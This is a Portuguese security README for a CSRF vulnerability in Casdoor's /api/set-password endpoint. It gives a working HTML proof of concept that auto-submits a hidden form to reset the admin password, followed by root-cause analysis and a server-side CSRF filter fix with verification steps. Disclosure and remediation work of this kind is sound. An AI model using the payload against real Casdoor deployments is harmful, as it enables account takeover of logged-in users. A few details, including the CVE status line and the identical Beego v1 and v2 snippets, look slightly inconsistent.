Casdoor – Cross-Site Request Forgery (CSRF)

Resumo

• Vulnerabilidade: CSRF em /api/set-password permitindo alterações de senha sem consentimento.
• Versões afetadas: Todas as versões do software são afetadas. Nenhuma versão corrigida está disponível no momento.
• CVE: CVE-2023-34927 (a mais recente ainda a ser atribuída).
• Autor do exploit: Van Lam Nguyen.
• Testado em: Windows

Impacto

• Se uma vítima estiver autenticada no Casdoor, um POST cross-site pode alterar a senha da vítima (por exemplo, built-in/admin), levando ao roubo de conta.

Pré-requisitos do Ataque

• A vítima está autenticada e possui um cookie casdoor_session_id válido.
• A vítima visita uma página maliciosa que envia automaticamente um POST para /api/set-password.

Prova de Conceito

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Causa Raiz

• Endpoints que alteram estado sob /api/* aceitam requisições autenticadas por cookie sem impor verificações de mesma origem (Origin/Referer) ou tokens CSRF.

Visão Geral da Correção

• Adicionar um filtro CSRF do lado do servidor para negar requisições POST/PUT/DELETE/PATCH cross-site baseadas em cookie sob /api/*.
• Permitir requisições que carreguem autenticação explícita não baseada em cookie (por exemplo, Authorization, Basic auth, credenciais de cliente ou accessToken) ou requisições sem cookies de sessão do navegador (chamadas típicas servidor-a-servidor).

Implementação

• Use routers.CSRFFilter implementado em csrf_filter.go. Este filtro:
  • Retorna antecipadamente para métodos que não alteram estado.
  • Permite requisições com autenticação explícita não baseada em cookie.
  • Bloqueia requisições cross-site quando um cookie de sessão está presente e a origem não corresponde ao host.

Como Integrar no Casdoor

1. Copie csrf_filter.go para o pacote routers existente do projeto Casdoor. Não modifique nem exclua nada neste arquivo.
2. Registre o filtro no início do pipeline HTTP (dentro de main):

   // Beego v1 style
   web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
   
   // If your project uses Beego v2 and imports as `web`:
   // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
   

Verificação

• Após registrar o filtro, reproduza o PoC acima enquanto estiver autenticado. A requisição deve ser negada com Unauthorized operation e o servidor deve registrar CSRF check failed.
• Chamadas de API cross-origin que incluam cabeçalhos Authorization ou parâmetros accessToken devem continuar funcionando.

Arquivos do Repositório

• csrf_filter.go: Filtro CSRF para copiar para o pacote routers do Casdoor.
• poc.html: Página mínima que reproduz o ataque CSRF.
• README.md: Este documento descrevendo a vulnerabilidade e os passos de correção.

Referências

• Casdoor: https://casdoor.org/
• Versão: https://github.com/casdoor/casdoor/releases
• https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Vídeo

• Youtube: https://youtu.be/N5VENgiObjY